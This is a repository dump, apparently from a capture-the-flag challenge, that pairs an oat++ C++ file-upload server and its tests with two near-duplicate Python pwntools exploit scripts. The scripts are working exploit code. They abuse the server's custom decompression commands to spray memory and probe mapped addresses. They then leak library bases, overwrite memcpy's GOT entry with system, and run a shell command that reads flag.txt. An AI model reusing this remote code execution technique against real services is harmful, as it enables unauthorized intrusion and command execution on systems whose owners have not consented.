auto multipart = std::make_shared(request->getHeaders());
multipart::Reader multipartReader(multipart.get());
multipartReader.setPartReader("file", multipart::createInMemoryPartReader(128 * 1024 /* 128K max upload */));
request->transferBody(&multipartReader);
auto filePart = multipart->getNamedPart("file");
/* Assert part is not null */
OATPP_ASSERT_HTTP(filePart, Status::CODE_400, "Missing file upload");
filePart->getInMemoryData()->saveToFile(filename_str.c_str());
lock.lock();
fileMap[fileId] = filename_str;
lock.unlock();
return createResponse(Status::CODE_200, "OK");
}
private:
std::map,std::shared_ptr> fileCache;
std::map fileMap;
std::mutex lock;
/* helper functions */
std::shared_ptr get_file(int file_id, bool compress);
};
#include OATPP_CODEGEN_END(ApiController) //<-- End Codegen
#endif /* MyController_hpp */
================================================
FILE: resources/dist-guess-god/src/src/dto/DTOs.hpp
================================================
#ifndef DTOs_hpp
#define DTOs_hpp
#include "oatpp/core/macro/codegen.hpp"
#include "oatpp/core/Types.hpp"
#include OATPP_CODEGEN_BEGIN(DTO)
/**
* Data Transfer Object. Object containing fields only.
* Used in API for serialization/deserialization and validation
*/
class MyDto : public oatpp::DTO {
DTO_INIT(MyDto, DTO)
DTO_FIELD(Int32, statusCode);
DTO_FIELD(String, message);
};
#include OATPP_CODEGEN_END(DTO)
#endif /* DTOs_hpp */
================================================
FILE: resources/dist-guess-god/src/test/MyControllerTest.cpp
================================================
#include "MyControllerTest.hpp"
#include "controller/MyController.hpp"
#include "app/MyApiTestClient.hpp"
#include "app/TestComponent.hpp"
#include "oatpp/web/client/HttpRequestExecutor.hpp"
#include "oatpp-test/web/ClientServerTestRunner.hpp"
void MyControllerTest::onRun() {
/* Register test components */
TestComponent component;
/* Create client-server test runner */
oatpp::test::web::ClientServerTestRunner runner;
/* Add MyController endpoints to the router of the test server */
runner.addController(std::make_shared());
/* Run test */
runner.run([this, &runner] {
/* Get client connection provider for Api Client */
OATPP_COMPONENT(std::shared_ptr, clientConnectionProvider);
/* Get object mapper component */
OATPP_COMPONENT(std::shared_ptr, objectMapper);
/* Create http request executor for Api Client */
auto requestExecutor = oatpp::web::client::HttpRequestExecutor::createShared(clientConnectionProvider);
/* Create Test API client */
auto client = MyApiTestClient::createShared(requestExecutor, objectMapper);
/* Call server API */
/* Call root endpoint of MyController */
auto response = client->getRoot();
/* Assert that server responds with 200 */
OATPP_ASSERT(response->getStatusCode() == 200);
/* Read response body as MessageDto */
auto message = response->readBodyToDto>(objectMapper.get());
/* Assert that received message is as expected */
OATPP_ASSERT(message);
OATPP_ASSERT(message->statusCode == 200);
OATPP_ASSERT(message->message == "Hello World!");
}, std::chrono::minutes(10) /* test timeout */);
/* wait all server threads finished */
std::this_thread::sleep_for(std::chrono::seconds(1));
}
================================================
FILE: resources/dist-guess-god/src/test/MyControllerTest.hpp
================================================
#ifndef MyControllerTest_hpp
#define MyControllerTest_hpp
#include "oatpp-test/UnitTest.hpp"
class MyControllerTest : public oatpp::test::UnitTest {
public:
MyControllerTest() : UnitTest("TEST[MyControllerTest]"){}
void onRun() override;
};
#endif // MyControllerTest_hpp
================================================
FILE: resources/dist-guess-god/src/test/app/MyApiTestClient.hpp
================================================
#ifndef MyApiTestClient_hpp
#define MyApiTestClient_hpp
#include "oatpp/web/client/ApiClient.hpp"
#include "oatpp/core/macro/codegen.hpp"
/* Begin Api Client code generation */
#include OATPP_CODEGEN_BEGIN(ApiClient)
/**
* Test API client.
* Use this client to call application APIs.
*/
class MyApiTestClient : public oatpp::web::client::ApiClient {
API_CLIENT_INIT(MyApiTestClient)
API_CALL("GET", "/", getRoot)
// TODO - add more client API calls here
};
/* End Api Client code generation */
#include OATPP_CODEGEN_END(ApiClient)
#endif // MyApiTestClient_hpp
================================================
FILE: resources/dist-guess-god/src/test/app/TestComponent.hpp
================================================
#ifndef TestComponent_htpp
#define TestComponent_htpp
#include "oatpp/web/server/HttpConnectionHandler.hpp"
#include "oatpp/network/virtual_/client/ConnectionProvider.hpp"
#include "oatpp/network/virtual_/server/ConnectionProvider.hpp"
#include "oatpp/network/virtual_/Interface.hpp"
#include "oatpp/parser/json/mapping/ObjectMapper.hpp"
#include "oatpp/core/macro/component.hpp"
/**
* Test Components config
*/
class TestComponent {
public:
/**
* Create oatpp virtual network interface for test networking
*/
OATPP_CREATE_COMPONENT(std::shared_ptr, virtualInterface)([] {
return oatpp::network::virtual_::Interface::obtainShared("virtualhost");
}());
/**
* Create server ConnectionProvider of oatpp virtual connections for test
*/
OATPP_CREATE_COMPONENT(std::shared_ptr, serverConnectionProvider)([] {
OATPP_COMPONENT(std::shared_ptr, interface);
return oatpp::network::virtual_::server::ConnectionProvider::createShared(interface);
}());
/**
* Create client ConnectionProvider of oatpp virtual connections for test
*/
OATPP_CREATE_COMPONENT(std::shared_ptr, clientConnectionProvider)([] {
OATPP_COMPONENT(std::shared_ptr, interface);
return oatpp::network::virtual_::client::ConnectionProvider::createShared(interface);
}());
/**
* Create Router component
*/
OATPP_CREATE_COMPONENT(std::shared_ptr, httpRouter)([] {
return oatpp::web::server::HttpRouter::createShared();
}());
/**
* Create ConnectionHandler component which uses Router component to route requests
*/
OATPP_CREATE_COMPONENT(std::shared_ptr, serverConnectionHandler)([] {
OATPP_COMPONENT(std::shared_ptr, router); // get Router component
return oatpp::web::server::HttpConnectionHandler::createShared(router);
}());
/**
* Create ObjectMapper component to serialize/deserialize DTOs in Contoller's API
*/
OATPP_CREATE_COMPONENT(std::shared_ptr, apiObjectMapper)([] {
return oatpp::parser::json::mapping::ObjectMapper::createShared();
}());
};
#endif // TestComponent_htpp
================================================
FILE: resources/dist-guess-god/src/test/tests.cpp
================================================
#include "MyControllerTest.hpp"
#include
void runTests() {
OATPP_RUN_TEST(MyControllerTest);
}
int main() {
oatpp::base::Environment::init();
runTests();
/* Print how much objects were created during app running, and what have left-probably leaked */
/* Disable object counting for release builds using '-D OATPP_DISABLE_ENV_OBJECT_COUNTERS' flag for better performance */
std::cout << "\nEnvironment:\n";
std::cout << "objectsCount = " << oatpp::base::Environment::getObjectsCount() << "\n";
std::cout << "objectsCreated = " << oatpp::base::Environment::getObjectsCreated() << "\n\n";
OATPP_ASSERT(oatpp::base::Environment::getObjectsCount() == 0);
oatpp::base::Environment::destroy();
return 0;
}
================================================
FILE: resources/dist-guess-god/src/utility/install-oatpp-modules.sh
================================================
#!/bin/sh
rm -rf tmp
mkdir tmp
cd tmp
##########################################################
## install oatpp
MODULE_NAME="oatpp"
git clone --depth=1 https://github.com/oatpp/$MODULE_NAME
cd $MODULE_NAME
mkdir build
cd build
cmake -DOATPP_BUILD_TESTS=OFF -DCMAKE_BUILD_TYPE=Release ..
make install -j 6
cd ../../
##########################################################
cd ../
rm -rf tmp
================================================
FILE: resources/reliable_exploit.py
================================================
import requests
import socket
from pwn import remote, context, args, u64, p64, ELF
context.log_level = 100
### INTERACTION ###
def uploadFile(blob: bytes, fileid: int):
assert (fileid < (1<<31) - 1)
multipart_form_data = {
'file': (f'payload_{fileid}', blob),
}
res = requests.post(
f"http://{SERVER_IP}:{SERVER_PORT}/upload/{fileid}",
files=multipart_form_data
)
return res
def getFile(fileid: int, extract="true"):
res = requests.get(f"http://{SERVER_IP}:{SERVER_PORT}/files/{fileid}?extract={extract}")
return res
# Used by isAddrMapped oracle
def getFileRaw(fileid):
rawReq = f'GET /files/{fileid}?extract=true HTTP/1.1\r\nAccept: */*\r\nConnection: close\r\n\r\n'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((SERVER_IP , SERVER_PORT))
io = remote.fromsocket(s)
io.send(rawReq.encode())
io.recvuntil(b'\r\n\r\n')
buf = io.recv(2)
io.close()
s.close()
return buf
### EXPLOIT ###
IN_ADDR = 0x42069000000 # PROT R
OUT_ADDR = 0x13371337000 # PROT RW
M64 = (1<<64)-1
def align(x, a=0x1000):
mask = a-1
return (x + mask) & ~mask
class CompressedFile():
__slots__ = ['cur', 'content', 'out']
def __init__(self, filesize):
self.cur = 16
self.content = b''
self.content += p64(0x0123456789abcdef) # magic
self.content += p64(filesize) # file size
self.out = OUT_ADDR
def nop(self):
self.content += b'\x00' # cmd0
self.cur += 1
def write(self, b: bytes):
assert len(b) == 1
self.content += b'\x01' + b # cmd1 + byte
self.cur += 2
self.out += 1 & M64
def seek(self, off):
self.content += b'\x02' # cmd2
self.content += p64(off) # offset
self.cur += 9
self.out += off & M64
def memcpy(self, off, count):
# memcpy(out, out-off, count);
self.content += b'\x03' # cmd33
self.content += p64(off) # offset
self.content += p64(count) # offset
self.cur += 17
self.out += count & M64
def isAddrMapped(addr, fileid, filelen=2):
toup = CompressedFile(filelen)
# addr = OUT_ADDR - off
off = (OUT_ADDR - addr) & M64
# memcpy(toup.out, addr, 1)
toup.memcpy(off, 1)
# *(toup.out+1) = 0x41
toup.write(b'A')
uploadFile(toup.content, fileid)
res = getFileRaw(fileid).split(b'\r\n')[-1]
isMapped = res[1] == 0x41
return isMapped
def readFromAddr(addr, size, fileid):
toup = CompressedFile(size)
off = (OUT_ADDR - addr) & M64
toup.memcpy(off, size)
uploadFile(toup.content, fileid)
res = getFile(fileid)
return res.content
SERVER_IP = args.SERVER_IP or '127.0.0.1'
SERVER_PORT = int(args.SERVER_PORT or 7002)
if args.EXPLOIT:
print (f"Spraying memory to allocate 3840mb of memory", end='')
size = 0x000004000000
for i in range(0, 60):
print ('.', end='')
#print (f"Spray: {i = } {mem = :#x}")
# this will create mappings in the father process of the given size
isAddrMapped(IN_ADDR, i, size)
print ('OK')
start = 0x7f0000000000
end = 0x800000000000
step = 0x100000000 # 4gb
isMapped = False
j = 0xff
while isMapped == False:
leakAddr = start + j*step
isMapped = (isAddrMapped(leakAddr, 1000 + j))
j -= 1
if j < 0:
raise ValueError("wtf j < 0")
# at this point we have a mapped address like this
# 0x7fXX00000000
def linearFindLargest(base, increment, idstart):
for i in range(0, 16)[::-1]:
print (f"{base + increment*i:#x}", end='\t|\t')
if isAddrMapped(base + increment*i, idstart+i):
print ('Yes')
return i*increment
print ('No')
raise ValueError()
def findLastMappedPage(baseAddr, fileid):
# Find upper bound, we can't do a binary search because there are some holes which
# screw things up
try:
lastMappedPage = baseAddr
lastMappedPage += linearFindLargest(lastMappedPage, 0x10000000, fileid)
lastMappedPage += linearFindLargest(lastMappedPage, 0x1000000, fileid+16)
lastMappedPage += linearFindLargest(lastMappedPage, 0x100000, fileid+16*2)
lastMappedPage += linearFindLargest(lastMappedPage, 0x10000, fileid+16*3)
lastMappedPage += linearFindLargest(lastMappedPage, 0x1000, fileid+16*4)
return lastMappedPage
except ValueError:
return baseAddr
def isElfPage(page, fileid):
return readFromAddr(page, 4, fileid) == b'\x7fELF'
retries = 0
while True:
libkayle_off = 0x1000*60
lastMappedPage = findLastMappedPage(leakAddr, 40000 + retries*100)
libkaylebase = lastMappedPage - libkayle_off
print (f"attempt {lastMappedPage = :#x}")
if isElfPage(libkaylebase, 9120500 + retries):
print ("OK")
break
leakAddr += 0x1000000
retries += 1
print (f"{libkaylebase = :#x}")
memcpy_got = libkaylebase + 0x4048
print (f"{memcpy_got = :#x}")
libcbase = libkaylebase - 0x442000
print (f'{libcbase = :#x}')
libc = ELF('./libc-2.33.so')
libc.address = libcbase
print (f"{libc.symbols['system'] = :#x}")
# exp is a CompressedFile which:
# - writes libc.system to memcpy_got
# - calls memcpy(cmd, 0, 0) -> system(cmd)
cmd = b"ls;cat flag.txt;\x00"
exp = CompressedFile(24)
exp.seek((memcpy_got - OUT_ADDR)&M64)
# out=memcpy_got
for b in p64(libc.symbols['system']):
exp.write(bytes([b]))
# now out=memcpy_got+8
# memcpy(out, out-off, size) will be
# system(out)
in_addr_off = len(exp.content)
exp.content += cmd
# seek to IN_ADDR+in_addr_off, that's where cmd is stored
exp.seek((IN_ADDR + in_addr_off - (memcpy_got + 8))&M64)
exp.memcpy(0, 0) # system(cmd)
uploadFile(exp.content, 123001)
# profit
getFile(123001)
================================================
FILE: resources/x.py
================================================
import requests
import socket
from pwn import remote, context, args, u64, p64, ELF
context.log_level = 100
### INTERACTION ###
def uploadFile(blob: bytes, fileid: int):
assert (fileid < (1<<31) - 1)
multipart_form_data = {
'file': (f'payload_{fileid}', blob),
}
res = requests.post(
f"http://{SERVER_IP}:{SERVER_PORT}/upload/{fileid}",
files=multipart_form_data
)
return res
def getFile(fileid: int, extract="true"):
res = requests.get(f"http://{SERVER_IP}:{SERVER_PORT}/files/{fileid}?extract={extract}")
return res
# Used by isAddrMapped oracle
def getFileRaw(fileid):
rawReq = f'GET /files/{fileid}?extract=true HTTP/1.1\r\nAccept: */*\r\nConnection: close\r\n\r\n'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((SERVER_IP , SERVER_PORT))
io = remote.fromsocket(s)
io.send(rawReq.encode())
io.recvuntil(b'\r\n\r\n')
buf = io.recv(2)
io.close()
s.close()
return buf
### EXPLOIT ###
IN_ADDR = 0x42069000000 # PROT R
OUT_ADDR = 0x13371337000 # PROT RW
M64 = (1<<64)-1
def align(x, a=0x1000):
mask = a-1
return (x + mask) & ~mask
class CompressedFile():
__slots__ = ['cur', 'content', 'out']
def __init__(self, filesize):
self.cur = 16
self.content = b''
self.content += p64(0x0123456789abcdef) # magic
self.content += p64(filesize) # file size
self.out = OUT_ADDR
def nop(self):
self.content += b'\x00' # cmd0
self.cur += 1
def write(self, b: bytes):
assert len(b) == 1
self.content += b'\x01' + b # cmd1 + byte
self.cur += 2
self.out += 1 & M64
def seek(self, off):
self.content += b'\x02' # cmd2
self.content += p64(off) # offset
self.cur += 9
self.out += off & M64
def memcpy(self, off, count):
# memcpy(out, out-off, count);
self.content += b'\x03' # cmd33
self.content += p64(off) # offset
self.content += p64(count) # offset
self.cur += 17
self.out += count & M64
def isAddrMapped(addr, fileid, filelen=2):
toup = CompressedFile(filelen)
# addr = OUT_ADDR - off
off = (OUT_ADDR - addr) & M64
# memcpy(toup.out, addr, 1)
toup.memcpy(off, 1)
# *(toup.out+1) = 0x41
toup.write(b'A')
uploadFile(toup.content, fileid)
res = getFileRaw(fileid).split(b'\r\n')[-1]
isMapped = res[1] == 0x41
return isMapped
def readFromAddr(addr, size, fileid):
toup = CompressedFile(size)
off = (OUT_ADDR - addr) & M64
toup.memcpy(off, size)
uploadFile(toup.content, fileid)
res = getFile(fileid)
return res.content
SERVER_IP = args.SERVER_IP or '127.0.0.1'
SERVER_PORT = int(args.SERVER_PORT or 7002)
if args.EXPLOIT:
print (f"Spraying memory to allocate 3840mb of memory", end='')
size = 0x000004000000
for i in range(0, 60):
print ('.', end='')
#print (f"Spray: {i = } {mem = :#x}")
# this will create mappings in the father process of the given size
isAddrMapped(IN_ADDR, i, size)
print ('OK')
start = 0x7f0000000000
end = 0x800000000000
step = 0x100000000 # 4gb
isMapped = False
j = 0xff
while isMapped == False:
leakAddr = start + j*step
isMapped = (isAddrMapped(leakAddr, 1000 + j))
j -= 1
if j < 0:
raise ValueError("wtf j < 0")
# at this point we have a mapped address like this
# 0x7fXX00000000
def linearFindLargest(base, increment, idstart):
for i in range(0, 16)[::-1]:
print (f"{base + increment*i:#x}", end='\t|\t')
if isAddrMapped(base + increment*i, idstart+i):
print ('Yes')
return i*increment
print ('No')
raise Exception("find_largest should not fail")
# Find upper bound, we can't do a binary search because there are some holes which
# screw things up
lastMappedPage = leakAddr
# + linearFindLargest(leakAddr, 0x100000000, 39000) # +0x8000000 because of holes
lastMappedPage += linearFindLargest(lastMappedPage, 0x10000000, 40000)
lastMappedPage += linearFindLargest(lastMappedPage, 0x1000000, 40100)
lastMappedPage += linearFindLargest(lastMappedPage, 0x100000, 40200)
lastMappedPage += linearFindLargest(lastMappedPage, 0x10000, 40300)
lastMappedPage += linearFindLargest(lastMappedPage, 0x1000, 40400)
print (f"{lastMappedPage = :#x}")
# Scan backwards looking for b'\x7fELF'
i = 50
numElf = 0
while numElf != 2:
theAddr = lastMappedPage-0x1000*i
hdr = readFromAddr(theAddr, 4, 40500+i)
print(f"{i:02d}) Elf in {theAddr:#x}? {hdr.hex()}")
if hdr == b'\x7fELF':
numElf += 1
print (f"found elf at {theAddr:#x}")
if i > 70:
print ("Exploit failed, upper bound address was wrong")
exit(1)
i += 1
libkaylebase = theAddr
print (f"{libkaylebase = :#x}")
memcpy_got = libkaylebase + 0x4048
print (f"{memcpy_got = :#x}")
libcbase = libkaylebase - 0x442000
print (f'{libcbase = :#x}')
print (readFromAddr(libcbase, 100, 123000))
libc = ELF('./libc-2.33.so')
libc.address = libcbase
print (f"{libc.symbols['system'] = :#x}")
# exp is a CompressedFile which:
# - writes libc.system to memcpy_got
# - calls memcpy(cmd, 0, 0) -> system(cmd)
cmd = b"ls;cat flag.txt;\x00"
exp = CompressedFile(24)
exp.seek((memcpy_got - OUT_ADDR)&M64)
# out=memcpy_got
for b in p64(libc.symbols['system']):
exp.write(bytes([b]))
# now out=memcpy_got+8
# memcpy(out, out-off, size) will be
# system(out)
in_addr_off = len(exp.content)
exp.content += cmd
# seek to IN_ADDR+in_addr_off, that's where cmd is stored
exp.seek((IN_ADDR + in_addr_off - (memcpy_got + 8))&M64)
exp.memcpy(0, 0) # system(cmd)
uploadFile(exp.content, 123001)
# profit
getFile(123001)